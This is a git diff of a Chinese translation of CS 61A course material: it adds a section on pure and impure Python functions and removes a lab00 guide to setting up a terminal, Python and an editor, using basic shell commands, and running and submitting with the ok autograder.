+例如内置函数 + +```python +>>> abs(-2) +2 +``` + +可以被描述为一台接受输入并产生输出的小型机器。 +![](https://cdn.xyxsw.site/function_abs.png) +函数 `abs` 是*纯函数*。纯函数的特性是,调用它们除了返回一个值之外没有任何影响。此外,当用相同的参数调用两次时,一个纯函数必须总是返回相同的值。 + +**非纯函数** +除了返回一个值之外,应用一个非纯函数会产生副作用,从而使解释器或计算机的状态发生一些变化。一个常见的副作用是,使用`print`函数,在返回值之外产生额外的输出。 + +```python +>>> print(1, 2, 3) +1 2 3 +``` + +虽然`print`和`abs`在这些例子中可能看起来很相似,但它们的工作方式根本不同。打印返回的值总是`None`,这是一个特殊的 Python 值,不代表任何东西。交互式 Python 解释器不会自动打印值`None`。在`print`的情况下,函数本身是打印输出,也是被调用的副作用。 +![](https://cdn.xyxsw.site/function_print.png) + +对`print`函数的嵌套调用突出了纯函数和非纯函数的区别 + +```python +>>> print(print(1), print(2)) +1 +2 +None None +``` + +如果你发现这个输出出乎意料,可以画一个表达式树来弄清楚为什么计算这个表达式会产生这个奇特的输出。 + +请注意!`print`函数的返回值`None`意味着它*不应该*是赋值语句中的表达式。 + +```python +>>> two = print(2) +2 +>>> print(two) +None +``` + +纯函数是被限制的,因为它们不能有副作用或随时间改变行为。施加这些限制会产生巨大的好处。 +首先,纯函数可以更可靠地组成复合调用表达式。我们可以在上面的非纯函数例子中看到,`print`在操作数表达式中使用时并没有返回一个我们期望的结果。另一方面,我们已经看到,像`max`、`pow`和`sqrt`这样的函数可以有效地用于嵌套表达式。 +其次,纯函数往往更容易测试。一个参数列表将总是导致相同的返回值,这可以与预期返回值进行比较。关于测试将在之后的章节详细讨论。 + +在之后的章节中,我们将说明纯函数对于编写并发程序的重要性,其中多个调用表达式可以同时被计算。 +与之对应的,我们也将研究非纯函数并了解他们的用途。 + +出于这些问题的考虑,我们将在下一章节中着重讨论创建和使用纯函数。`print`函数的使用只是为了让我们看到计算的中间结果。 + +## 课后作业 + +一个好的课程怎么能少得了精心准备的课后作业呢?🤗 + +如果被题目卡住了,那就再去看看食用指南吧!😋 + +::: tip 📥 +本小节课后作业下载 +::: diff --git a/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md b/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md deleted file mode 100644 index f1f21cc..0000000 --- a/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md +++ /dev/null @@ -1,625 +0,0 @@ -# lab00:让我们开始吧 - -# 介绍 - -本 lab 将介绍如何设置计算机以完成作业,并介绍 Python 的一些基础知识。 - -这个 lab 是必需的。这个设置对于完全课程中的所有其他作业是必要的。 - -这个 lab 看起来非常长,但它主要是设置和学习如何使用这个课程的基本工具。这些现在看起来有点困难,但随着我们进一步进入课程,很快就会变得熟悉起来。 - -以下是实验室的主要部分: - -- 设置:设置课程的基本软件。这将需要几个组件,如下所列。 - - - 安装终端:安装终端,以便你可以与本课程中的文件进行交互并运行 OK 命令。如果你的计算机上有终端并且使用起来很舒服,则可以跳过这一部分。 - - 安装 Python 3:将 Python 编程语言安装到你的计算机上。如果你已经安装了 Python 3.7 或更高版本(最好是 Python 3.9),则可以跳过这部分。 - - 安装文本编辑器:安装软件来编辑 `.py` 本课程的文件(例如 VSCode、Atom 等)。如果你已经有了自己喜欢的文本编辑器,则可以跳过这一部分。 -- 演练:使用终端:本节将引导你完成如何使用终端和 Python 解释器。如果你已经能熟练使用这两者并感到轻松,则无需阅读本节。 -- 演练:组织文件:本节将指导你完成如何使用终端来组织和导航本课程的文件。每个人都应该至少浏览一下这一部分,因为它包含特定于此类的重要信息,但是如果你已经习惯使用终端浏览目录结构,那么其中的大部分内容都会很熟悉。 -- 复习:Python 基础知识:这是对讲座中介绍的 Python 的许多基本组件的复习。你应该已经看过此材料,但我们希望在每个 lab 中包含对相关内容的简要回顾,以备你需要复习任何内容。 -- 要求:完成作业:你必须完成此部分才能获得作业分数。在这里,你将练习本课程的 lab、hw 和 proj 中要求你完成的不同类型的问题。本作业的主要目的是让你练习使用我们的软件。 -- 要求:提交作业:你必须完成此部分才能获得作业分数。这将引导你了解如何在完成上一节后上交作业,以及如何验证你的作业是否已在 OKPY 上上交。(即使我们没有注册账户,也可以在本地运行 ok) -- 附录:有用的 Python 命令行选项:这些命令对调试你的工作很有用,但不是完成本实验所必需的。我们将它们包括在内是因为我们认为它们可能会在整个课程中对你有所帮助。 - -## 设置 - -### 安装终端 - -终端是一个程序,允许你通过输入命令与你的计算机进行交互。 - -#### macOS/Linux - -如果你使用的是 Mac 或正在使用某种形式的 Linux(例如 Ubuntu),则你 `Terminal` 的计算机上已经有一个名为或类似名称的程序。打开它,你应该可以开始了。 - -#### 视窗 - -选项 1 (WSL):你可以使用适用于 Linux 的 Windows 子系统或 WSL 在 Windows 上获得终端。这可以通过终端程序访问 `Ubuntu`,该程序模拟 Windows 计算机上的 Ubuntu 操作系统 (OS)。这将使我们的大部分作业在你的设备上顺利进行。 - -要安装适用于 Windows 的 Ubuntu,请单击开始并搜索 PowerShell。右键单击并选择“以管理员身份运行”。然后,在 PowerShell 窗口中,键入 `wsl --install` 并按 Enter。该命令必须按照准确的顺序输入。这应该会自动完成设置过程(按照屏幕上可能给出的任何说明进行操作)。 - -接下来, [从 Windows 商店下载 Ubuntu](https://apps.microsoft.com/store/detail/ubuntu/9PDXGNCFSCZV?hl=en-us&gl=US),或者你可以运行: - -```sql -wsl --install -d ubuntu -``` - -你可能还会发现访问 [Ubuntu 的下载指南](https://ubuntu.com/tutorials/install-ubuntu-on-wsl2-on-windows-10#1-overview)很有帮助。 - -安装完成后,在开始菜单中搜索 Ubuntu。第一次启动可能需要几分钟,但后续启动应该很快。 - -替代选项:如果你在安装 WSL 时遇到问题,你可以跳过此步骤并使用 Windows PowerShell 代替 61A。PowerShell 预装在 Windows 上,无需额外设置。你可以简单地从“开始”菜单启动它。`cd` 像和 这样的简单命令 `ls` 将起作用(`python` 将在设置后起作用),其中包含本课程所需的大部分 Bash 命令。 - -### 安装 Python 3 - -Python 3 是本课程中使用的主要编程语言。使用下面的说明安装 Python 3。(这些说明可能适用于旧版本的 Python 3,但步骤相似。) - -重要提示:如果你已经安装了旧版本的 Python,请确保下载并安装 Python 3.9。你可以使用 来检查你的 Python 版本 `python3 ––version`。 - -#### macOs - -下载并安装 [Python 3(64 位)](https://www.python.org/ftp/python/3.9.6/python-3.9.6-macosx10.9.pkg)。你可能需要右键单击下载图标并选择“打开”。安装后,请关闭并重新打开你的终端。 - -如果你安装了 Homebrew,你也可以通过运行安装 Python3 `brew install python3`。 - -#### Windows - -如果你将使用 PowerShell 而不是 WSL,请打开 Microsoft Store 并搜索“python”。安装 Python Software Foundation 提供的 Python 3.9(这应该是第一个结果)。然后你可以跳过本节的其余部分。(重要提示:如果你以后决定以不同方式重新安装 Python,请先从 Microsoft Store 卸载它。) - -否则,如果你使用的是 WSL,请在 Ubuntu 中键入 `sudo apt install python3` 并点击 `enter`. 安装完成后,你可以通过键入来测试它是否安装正确 `python3 --version`。你应该会在响应中看到一条消息,显示你的 python3 版本: `Python 3.9.6`。 - -#### Linux - -运行 `sudo apt install python3`(Ubuntu)、`sudo pacman -S python3`(Arch) 或适用于你的发行版的命令。 - -#### 其他 - -[从下载页面下载 Python](https://www.python.org/downloads/)。 - -### 安装文本编辑器 - -你刚刚安装的 Python 解释器允许你运行Python 代码。你还需要一个文本编辑器,你将在其中编写Python 代码。 - -[Visual Studio Code (VS Code)](https://code.visualstudio.com/)是这门课程编写 Python 的最流行的选择。下面还列出了员工使用的其他一些编辑器。 - -如果你使用的是 Windows并遵循我们的 Python 设置过程,VS Code 将最适合你(因为它具有 WSL 支持)。安装 VS Code 后,安装 [Remote Development 扩展包](https://aka.ms/vscode-remote/download/extension)。[然后,你可以使用 VS Code 文档这一部分](https://code.visualstudio.com/docs/remote/wsl#_open-a-remote-folder-or-workspace)中的说明在 VS Code 中打开 WSL 文件夹。 - -我们强烈建议在本课程中使用 VS Code。这将帮助我们为你提供最好的支持,因为大多数员工也使用 VS Code。 - -VS Code 的另一个不错的功能是它具有“嵌入式终端”。因此,在为此类运行终端命令时,你可以在 VS Code 中管理所有内容,而不是在 VS Code 和单独的终端应用程序之间来回导航。`Terminal > New Terminal` 你可以通过转到 VS Code 的导航栏中打开嵌入式终端 。 - -> 警告:请不要使用 Microsoft Word 等文字处理器来编辑程序。文字处理器可以向文档添加额外的内容,这会使解释器感到困惑。 - -为了你的参考,我们还编写了一些使用流行的文本编辑器的指南。完成实验室后,如果你有兴趣,可以看看: - -- [Visual Studio Code](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/vscode):一个功能齐全的桌面编辑器,具有许多可用于支持不同语言的扩展。 -- [Atom](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/atom):一个更轻量级的桌面编辑器。 -- [Vim](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/vim):命令行编辑器。 -- [Emacs](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/emacs):命令行编辑器。 - -其他编译器: - -- [PyCharm](https://www.jetbrains.com/pycharm/):专为 Python 设计的桌面编辑器。 -- [Sublime Text](https://www.sublimetext.com/):一个使用代码的文本编辑器。 - -### 结对编程 - -在整个课程中,你将有很多机会在实验室和项目中与其他人协作编码。我们建议你现在下载这些结对编程扩展以备将来使用。 - -要共享代码,你可以按照你选择的编辑器的说明进行操作: - -- [VS Code](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/vscode#pair-programming) -- [Atom](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/atom#pair-programming) - -### 备份设置 - -如你你在安装 Python 解释器、文本编辑器和终端时遇到问题,或者如果你使用的东西不允许你安装软件,比如 iPad,你可以作为临时措施使用以下一些来完成作业在你获得更合适的硬件时执行的步骤。 - -#### Soda 实验室计算机 - -你将需要一个指导帐户,该帐户允许你登录并使用 Soda 中的任何实验室计算机。你可以访问以下网址查看你现有的教学帐户并为适用的课程创建新的教学帐户:https: [//inst.eecs.berkeley.edu/connecting.html](https://inst.eecs.berkeley.edu/connecting.html)。 - -你可以通过你的 CalNet ID 登录该站点。要创建本课程的教学帐户,请单击以“cs61a”为目的的行的“获取新帐户”。 - -创建帐户后,你可以使用它登录 Soda 实验室计算机,并使用该计算机完成课程作业。 - -#### 在线编辑器作为备份 - -> 重要提示: 下面列出的两种替代方法都不适合在本课程中使用。我们建议能够使用您自己的本地设置或使用 Soda 中的实验室计算机(您可以使用您的课程教学帐户访问)。 - -61A 代码: - -您可以使用 [61A 代码](https://code.cs61a.org/),这是一个在线课程环境,您可以在其中编辑、运行、调试、可视化程序并与教职员工共享程序。可在此处找到 61A 代码的文档: [61A 代码文档](https://cs61a.org/articles/61a-code-docs/)。 - -> 注意: 您将无法 `ok` 在 61A 代码中运行命令,解锁测试、运行测试和提交作业需要执行这些命令。 - -在 61A Code 上完成此作业的步骤: - -1. 访问 [61A 代码](https://code.cs61a.org/)。 -2. 打开现有文件:进入您的 `cs61a` 文件夹,然后是作业文件夹 ( `lab00`),您可以在其中找到该作业的文件。 -3. 系统将提示您授权编辑器。您可以点击“确认”。回到编辑器本身,然后您可以打开要编辑的文件。 -4. 要打开终端,请单击“控制台”。 -5. 您可以使用编辑器编写代码,使用控制台运行代码。 - -数据中心: - -在本地工作的另一种选择是使用加州大学伯克利分校的 Datahub。 - -在 Datahub 上完成作业的步骤: - -1. 访问[数据中心](https://datahub.berkeley.edu/)。 -2. 将作业 zip 文件上传到数据中心。 -3. 通过按左上角的“新建”并选择终端来打开终端。 -4. 导航到 zip 文件所在的位置并运行 `unzip lab00.zip`。 -5. 打开代码文件 ( `lab00.py`) 并在其中键入,然后保存。 -6. 现在您可以提交实验。 - -## 演练:使用终端 - -首先,打开一个终端窗口。 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/L5HvblSuYonJn4x03a4cMLKknrh.png) - -#### 主目录 - -当您第一次打开终端时,您将从“主目录”开始。主目录由 `~` 符号表示,您可能会在提示符处看到它。 - -> 如果您的终端窗口看起来不完全相同,请不要担心。重要的部分是提示符显示 `$`(表示 Bash)或 `%` (表示 zsh)。 - -尝试跑步 `echo "$HOME"`。该命令应显示您的主目录的完整路径。它应该看起来像这样: - -`/Users/OskiBear` - -#### 小路 - -PATH 就像一个地址:它告诉您和计算机到某个文件夹的完整路径(或路由)。请记住,您可以通过两种不同的方式访问计算机上的文件和目录(文件夹)。您可以使用终端(这是一个命令行界面或 CLI),也可以使用 Finder Finder 是图形用户界面(或 GUI)的一个 例子导航技术不同,但文件相同。例如,这是我的 CS 61A 实验室文件夹在我的 GUI 中的样子: - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CWDhbW6gzogyMFxtd6kcnPBunv2.png) - -这是完全相同的文件夹在终端中的外观: - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png) - -请注意,在这两种情况下,黄色框都显示了 PATH,紫色椭圆显示了“labs”文件夹的内容。 - -#### 终端与 Python 解释器 - -让我们停下来思考一下终端和 Python 解释器之间的区别。 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HgTfbMhCGodZbzxBNh9crH3cnCe.png) - -1. 哪个是终端? -2. 哪个是 Python 解释器? -3. 哪个是我的代码编辑器? -4. 你怎么知道? - -A 和 D 都是我的终端。在这里您可以运行 bash 命令,例如 `cd` 和 `ls`。D 是 VS Code 内置的终端。 - -B 是 Python 解释器。你可以从 >>> 提示中看出这意味着你已经启动了一个 Python 解释器。您还可以判断,因为启动它的命令是可见的:`python3`。该 `python3` 命令启动 Python 解释器。如果您在 Python 解释器中键入 bash 命令,您可能会遇到语法错误!这是一个例子: - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GEN5b1HHdoDegPxAp8WcQDGknoc.png) - -C 是我的代码编辑器。这是我可以编写 Python 代码以通过我的终端执行的地方。 - -## 演练:组织文件 - -在本节中,您将学习如何使用终端命令管理文件。 - -> 确保您的提示包含 `$` 其中的某处并且不以 `>>>`. 如果它以 `>>>` 您仍在 Python shell 中开头,您需要退出。见上文了解如何。 - -### 目录 - -您将使用的第一个命令是 `ls`. 尝试在您的终端中输入: - -``` -ls -``` - -该 `ls` 命令列出了当前目录中所有文件和文件夹。目录是文件夹(如文件夹)的另一个 名称`Documents`。 - -#### macOS/Linux - -由于您现在位于主目录中,因此在您键入后 `ls` 您应该会看到主目录的内容。 - -#### 视窗 - -`~` 在 Ubuntu 中,当您键入 时,您将看不到任何文件 `ls`。相反,您首先需要更改目录(见下文)。 - -### 更改目录 - -要移动到另一个目录,请使用 `cd` 命令 ( c hange directory )。 - -#### macOS/Linux - -让我们尝试进入您的 `Desktop` 目录。首先,确保您位于主目录中(检查 `~` 命令行中的 )并使用 `ls` 查看该 `Desktop` 目录是否存在。 - -尝试在您的终端中键入以下命令,这应该会将您移至该目录: - -``` -cd Desktop -``` - -如果您不在您的主目录中,请尝试 `cd ~/Desktop`. 这是告诉终端你想去的路径。 - -#### Windows - -在 Windows 上,首先切换到您的主目录。 - -``` -cd /mnt/c/Users/ -``` - -现在尝试 `ls` 之前的命令。您应该会看到一些文件夹。其中一个文件夹应与您的用户名匹配。例如,假设您的用户名是 `OskiBear`,您应该会看到一个名为 的文件夹 `OskiBear`。(请注意,您的 Windows 用户名可能与您的 Ubuntu 用户名不同)让我们切换到该文件夹: - -``` -cd /mnt/c/Users/OskiBear/Desktop -``` - -如果仍然找不到桌面目录,请在 Piazza 或办公时间寻求帮助。 - -### 制作新目录 - -下一个命令称为 `mkdir`,创建一个目录。让我们在您的目录中创建一个名为的目录来存储此类的所有作业:`cs61aDesktop` - -``` -mkdir cs61a -``` - -名为的文件夹 `cs61a` 将出现在您的桌面上。`ls` 您可以通过再次使用该命令或使用资源管理器 (Windows) 或 Finder (Mac) 检查您的桌面来验证这一点。 - -在这一点上,让我们创建更多的目录。首先,确保您位于 `cs61a` 目录中(mac: `~/Desktop/cs61a`, Windows: `/mnt/c/Users/Desktop/cs61a`)。然后,创建两个新文件夹,一个名为 `projects`,另一个名为 `lab`. 两者都应该在您的 `cs61a` 文件夹中: - -#### macOS/Linux - -``` -cd ~/Desktop/cs61a -mkdir projects -mkdir lab -``` - -#### Windows - -``` -cd /mnt/c/Users/OskiBear/Desktop/cs61a -mkdir projects -mkdir lab -``` - -现在,如果您列出目录的内容(使用 `ls`),您将看到两个文件夹,`projects` 和 `lab`. - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Cpfzb9oK2oMyGxxgkqVceE8DnId.png) - -### 更多目录更改 - -有几种方法可以返回主目录: - -- `cd ..`(两个点)。意思 `..` 是“父目录”,或当前目录之上的一个目录。 -- `cd ~`(代字号)。请记住,这 `~` 意味着主目录,因此此命令将始终更改为您的主目录。 -- `cd`(只有 `cd`)。只输入 `cd` 是输入 `cd ~` 的捷径。 - -> 如果您愿意,您不必将文件保留在桌面上。您将文件保存在本地的位置不会影响您的成绩。做对您来说最简单、最方便的事情! - -### 下载作业 - -如果您还没有,请下载 zip 存档 [lab00.zip](https://inst.eecs.berkeley.edu/~cs61a/fa22/lab/lab00/lab00.zip),其中包含本 lab 所需的所有文件。完成后,让我们找到下载的文件。在大多数计算机上,`lab00.zip` 它可能位于一个名为 `Downloads` 您的主目录的目录中。使用 `ls` 命令检查: - -``` -ls ~/Downloads -``` - -如果您没有看到 `lab00.zip`,请在 Piazza 或办公时间寻求帮助。在某些版本的 Safari 上,文件可能会为您解压缩,在这种情况下,您只会看到一个名为 `lab00`. - -### 提取启动文件 - -您必须先展开 zip 存档,然后才能处理实验室文件。不同的操作系统和不同的浏览器有不同的解压方式。在 Mac 中单击 .zip 文件将自动解压缩。在 Windows 上,您需要先单击 .zip 文件,然后选择“全部解压”。如果遇到麻烦,可以在线搜索如何解压缩文件。 - -这是使用终端解压缩的一种方法: - -> 使用终端,您可以从命令行解压缩 zip 文件。首先,`cd` 进入包含 zip 文件的目录:
``
cd ~/Downloads
`` 现在,`unzip` 使用 zip 文件的名称运行命令:
``
unzip lab00.zip
`` - -您只需要解压缩文件一次。 - -解压缩后 `lab00.zip`,您将拥有一个名为的新文件夹 `lab00`,其中包含以下文件(使用 `cd lab00` 和检查 `ls`): - -- `lab00.py`:您要将代码添加到的模板文件 -- `ok`: 用于测试和提交作业的程序 -- `lab00.ok`: 配置文件 `ok` - -### 移动文件 - -将实验室文件移动到您之前创建的实验室文件夹中: - -macOS/Linux - -``` -mv ~/Downloads/lab00 ~/Desktop/cs61a/lab -``` - -Windows - -``` -mv /mnt/c/Users/Desktop/lab00 /mnt/c/Users/Desktop/cs61a/lab -``` - -该 `mv` 命令会将文件夹移动到文件。如果您愿意,还可以通过将文件拖放到图形文件资源管理器中的正确文件夹中来移动文件,这可能更常见,并且会产生完全相同的结果。`~/Downloads/lab00~/Desktop/cs61a/lab` - -现在,转到 `lab00` 您刚刚移动的文件夹。尝试使用 `cd` 自己的方式导航!如果卡住了,可以使用以下命令: - -macOS/Linux - -``` -cd ~/Desktop/cs61a/lab/lab00 -``` - -Windows - -``` -cd /mnt/c/Users/Desktop/cs61a/lab/lab00 -``` - -### 概括 - -以下是我们刚刚完成的命令摘要,供您参考: - -- `ls`: 列出当前目录下的所有文件 -- `cd `: 改变进入指定目录 -- `mkdir `: 使用给定名称创建一个新目录 -- `mv `: 将给定地址的文件移动到给定的目录 - -最后,您可以开始编辑实验室文件了!如果这看起来很复杂,请不要担心——随着时间的推移,它会变得容易得多。只要继续练习!您还可以查看我们的 [UNIX 教程](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/unix),了解有关终端命令的更详细说明。 - -## 回顾:Python 基础知识 - -程序由表达式和语句组成。表达式是一段计算出某个值的代码,而语句是使程序中发生某事的一行或多行代码。 - -当您将 Python 表达式输入交互式 Python 解释器时,将显示其值。当您阅读以下示例时,请在您自己的 Python 解释器上尝试一些类似的表达式,您可以通过在终端中输入以下内容来启动它: - -``` -python3 -``` - -您将在本课程中学习各种类型的表达式和语句。现在,让我们看一下完成本实验所需的内容。 - -#### 原始表达式 - -原始表达式只需要一步来计算。这些包括数字和布尔值,它们只是对自己求值。 - -```python ->>> 3 -3 ->>> 12.5 -12.5 ->>> True -True -``` - -#### 算术表达式 - -数字可以与数学运算符组合以形成复合表达式。除了 `+` 运算符(加法)、`-` 运算符(减法)、`*` 运算符(乘法)和 `**` 运算符(求幂)之外,还有三个类似除法的运算符需要记住: - -- 浮点数除法 ( `/`):将第一个数字除以第二个数字,计算结果为带小数点的数字,即使数字被整除也是如此。 -- 整除 ( `//`):用第一个数字除以第二个数字,然后向下舍入,计算结果为整数。 -- 模 ( `%`):计算除法剩余的正余数。 - -括号可用于将子表达式组合在一起;整个表达式按 PEMDAS(括号、求幂、乘法/除法、加法/减法)顺序求值。 - -```python ->>> 7 / 4 -1.75 ->>> (2 + 6) / 4 -2.0 ->>> 7 // 4 # Floor division (rounding down) -1 ->>> 7 % 4 # Modulus (remainder of 7 // 4) -3 -``` - -#### 字符串 - -字符串由用单引号 ( `''`) 或双引号 ( `""`) 包裹的一个或多个字符组成。字符串实际上与原始表达式略有不同,但出于此赋值的目的,可以将其视为对自身求值的表达式。在接下来的几周中,您将在本课程中了解更多关于字符串的复杂性! - -```python ->>> "hello" # Both single and double quotes work!'hello'>>> 'world!''world' -``` - -#### 赋值语句 - -赋值语句由名称和表达式组成。它通过计算符号右侧的表达式 `=` 并将其值绑定到左侧的名称来更改程序的状态。 - -```python ->>> a = (100 + 50) // 2 -``` - -现在,如果我们计算 `a`,解释器将显示值 75。 - -```python ->>> a -75 -``` - -## 要求:完成作业 - -> 在处理作业时,请确保您终端的工作目录是正确的(这个目录可能是您解压缩作业的位置)。 - -### Python 会做什么?(WWPD) - -实验室作业的一个组成部分是预测 Python 解释器的行为方式。 - -> 在您的终端中输入以下内容以开始此部分:
``
python3 ok -q python-basics -u
`` 系统将提示您输入各种语句/表达式的输出。您必须正确输入它们才能继续,但错误答案不会受到惩罚。
第一次运行 Ok 时,系统将提示您输入 bCourses 电子邮件。请遵循[这些指示](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/using-ok/#signing-in-with-ok)。我们在评分时使用此信息将您的代码与您相关联。 - -```python ->>> 10 + 2 -______ ->>> 7 / 2 -______ ->>> 7 // 2 -______ ->>> 7 % 2 # 7 modulo 2, the remainder when dividing 7 by 2. -______ -``` - -```python ->>> x = 20>>> x + 2 -______ ->>> x -______ ->>> y = 5>>> y = y + 3>>> y * 2 -______ ->>> y = y // 4>>> y + x -______ -``` - -### 代码编写题 - -#### 理解问题 - -实验室还将包括函数编写问题。在你的文本编辑器中打开 `lab00.py`。您可以 `open .` 在 MacOS 或 `start .` Windows 上键入以在 Finder/文件资源管理器中打开当前目录。然后双击或右键单击以在文本编辑器中打开文件。你应该看到这样的东西: - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FkOybDwtnoQeRyxejlwcjhQ2nch.png) - -三引号中的行 `"""` 称为文档字符串(Docstring),它描述了函数应该做什么。在 61A 中编写代码时,您应该始终阅读文档字符串! - -开头的行 `>>>` 称为文档测试模块(Doctest)。回想一下,当使用 Python 解释器时,您在旁边编写 Python 表达式 `>>>`,输出打印在该行下方。文档测试模块通过显示实际的 Python 代码来解释函数的作用。它回答了这个问题:“如果我们输入这段 Python 代码,预期的输出应该是什么?” - -在这里,我们圈出了文档字符串和文档测试,以便于查看: - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png) - -在 `twenty_twenty_two`, - -- 文档字符串告诉你“想出最有创意的表达式,计算到 2022 年”,但你只能使用数字和算术运算符 `+`(add)、`*`(multiply) 和 `-`(subtract)。 -- doctest 检查函数调用 `twenty_twenty_two()` 是否应返回数字 2022。 - -> 你不应该修改文档字符串,除非你想添加你自己的测试!除非另有说明,否则您需要编辑的唯一部分是代码。 - -#### 编写代码 - -了解问题的含义后,您就可以开始编写代码了!您应该将中的下划线替换 `return ______` 为计算结果为 2022 的表达式。您能想出的最有创意的表达式是什么? - -> 编辑后不要忘记保存您的作业!在大多数文本编辑器中,您可以通过导航到“文件”>“保存”或在 MacOS 上按 Command-S 或在 Windows 上按 Ctrl-S 来保存。 - -### 运行测试 - -在 CS 61A 中,我们将使用一个名为 的程序 `ok` 来测试我们的代码。`ok` 将包含在本课程的每项作业中。 - -> 为了快速生成 ok 命令,您现在可以使用 [ok 命令生成器](https://go.cs61a.org/ok-help)。 - -返回终端——确保您位于 `lab00` 我们之前创建的目录中(请记住,该 `cd` 命令允许您[更改目录](https://inst.eecs.berkeley.edu/~cs61a/fa22/lab/lab00/#changing-directories))。 - -在该目录中,您可以键入 `ls` 以验证是否存在以下三个文件: - -- `lab00.py`:您刚刚编辑的起始文件 -- `ok`: 我们的测试程序 -- `lab00.ok`: Ok 的配置文件 - -现在,让我们测试我们的代码以确保它能正常工作。您可以 `ok` 使用此命令运行: - -``` -python3 ok -``` - -> 请记住,如果您使用的是 Windows 而该 `python3` 命令不起作用,请尝试仅使用 `python` 或 `py`。有关详细信息,请参阅[安装 Python 3](https://inst.eecs.berkeley.edu/~cs61a/fa22/lab/lab00/#install-python-3) 部分,如果遇到困难,请寻求帮助! - -如果您正确编写了代码并完成了测试解锁,您应该会看到一个成功的测试: - -```sql -===================================================================== -Assignment: Lab 0 -Ok, version v1.18.1 -===================================================================== - -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Running tests - ---------------------------------------------------------------------- -Test summary - 3 test cases passed! No cases failed. -``` - -如果您没有通过测试,`ok` 则会向您显示如下内容: - -```python ---------------------------------------------------------------------- -Doctests for twenty_twenty_two - ->>> from lab00 import * ->>> twenty_twenty_two() -2013 - -# Error: expected -# 2022 -# but got -# 2013 - ---------------------------------------------------------------------- -Test summary - 0 test cases passed before encountering first failed test case -``` - -在您的文本编辑器中修复您的代码,直到测试通过。 - -> 每次运行 Ok 时,Ok 都会尝试备份您的工作。如果它说“连接超时”,请不要担心。我们不会使用您的备份进行评分。
虽然是 CS 61A 中的主要作业“autograder”,但有时您可能会发现以[文档测试模块](https://inst.eecs.berkeley.edu/~cs61a/fa22/lab/lab00/#understanding-problems)的形式编写一些您自己的测试很有用。然后,您可以使用 `-m doctest` 命令来测试代码。[Python 命令](https://inst.eecs.berkeley.edu/~cs61a/fa22/lab/lab00/#appendix-useful-python-command-line-options))。 - -## 要求:提交作业 - -现在您已经完成了第一个 CS 61A 作业,是时候上交了。您可以按照以下后续步骤提交您的作业并获得分数。 - -### 第 1 步:提交 `ok` - -在您的终端中,确保您位于包含 `ok`. 如果你还没有,你可以使用这个命令: - -``` -cd ~/Desktop/cs61a/lab/lab00 -``` - -接下来,使用 `ok` 选项 `--submit`: - -```sql -python3 ok --submit -``` - -如果您之前没有运行过,这将提示您输入电子邮件地址。请按照[这些说明](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/using-ok/#signing-in-with-ok)进行操作,如果遇到问题,请参阅该页面上的故障排除步骤。之后,Ok 将打印出如下消息: - -``` -Submitting... 100% complete -Submission successful for user: ... -URL: https://okpy.org/... -``` - -### 第 2 步:验证您的提交 - -您可以点击 Ok 打印出来的链接来查看您的最终提交,或者您可以转到 [okpy.org](https://okpy.org/)。您将能够在登录后查看您提交的内容。 - -> 请确保你用你在终端运行 `ok` 时提供的相同电子邮件登录! - -您应该会看到 Lab 0 的成功提交。 - -恭喜,您刚刚提交了第一份 CS 61A 作业! - -> 有关 Ok 的更多信息,请参见[此处](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/using-ok/)。您还可以使用 `--help` 标志:
``sql
python3 ok --help
`` 这个标志的作用就像我们之前使用的 UNIX 命令一样。 - -## 附录:有用的 Python 命令行选项 - -运行 Python 文件时,您可以使用命令行选项进一步检查代码。这里有一些会派上用场。如果您想了解有关其他 Python 命令行选项的更多信息,请查看[文档](https://docs.python.org/3.9/using/cmdline.html)。 - -- 不使用命令行选项将运行您提供的文件中的代码并返回到命令行。例如,如果我们想以 `lab00.py` 这种方式运行,我们将在终端中写入: - -``` -python3 lab00.py -``` - -- -i:该 `-i` 选项运行您的 Python 脚本,然后打开交互式会话。在交互式会话中,您逐行运行 Python 代码并获得即时反馈,而不是一次运行整个文件。要退出,请 `exit()` 在解释器提示符中键入。`Ctrl-D` 您还可以在 Linux/Mac 计算机或 Windows 上使用键盘快捷键 `Ctrl-Z Enter`。 -- 如果您在交互式运行 Python 文件时对其进行编辑,则需要退出并重新启动解释器才能使这些更改生效。 -- 以下是我们如何以交互方式运行 `lab00.py`: - -``` -python3 -i lab00.py -``` - -- -m doctest:在特定文件中运行 doctests。Doctests 在函数中被三重引号 ( `"""`) 包围。 -- 文件中的每个测试都包含 `>>>` 一些 Python 代码和预期的输出(尽管 `>>>` 在 doctest 命令的输出中看不到)。 -- 要为 运行 doctests `lab00.py`,我们可以运行: - -``` -python3 -m doctest lab00.py -``` diff --git a/3.编程思维体系构建/3.6.5CS61A食用指南.md b/3.编程思维体系构建/3.6.5CS61A食用指南.md new file mode 100644 index 0000000..a54665d --- /dev/null +++ b/3.编程思维体系构建/3.6.5CS61A食用指南.md @@ -0,0 +1,141 @@ +# CS61A 食用指南 + +## 关于 CS61A + +这是 CS 61A Fall 2022 的网站: + +[https://inst.eecs.berkeley.edu/~cs61a/fa22/](https://inst.eecs.berkeley.edu/~cs61a/fa22/) + 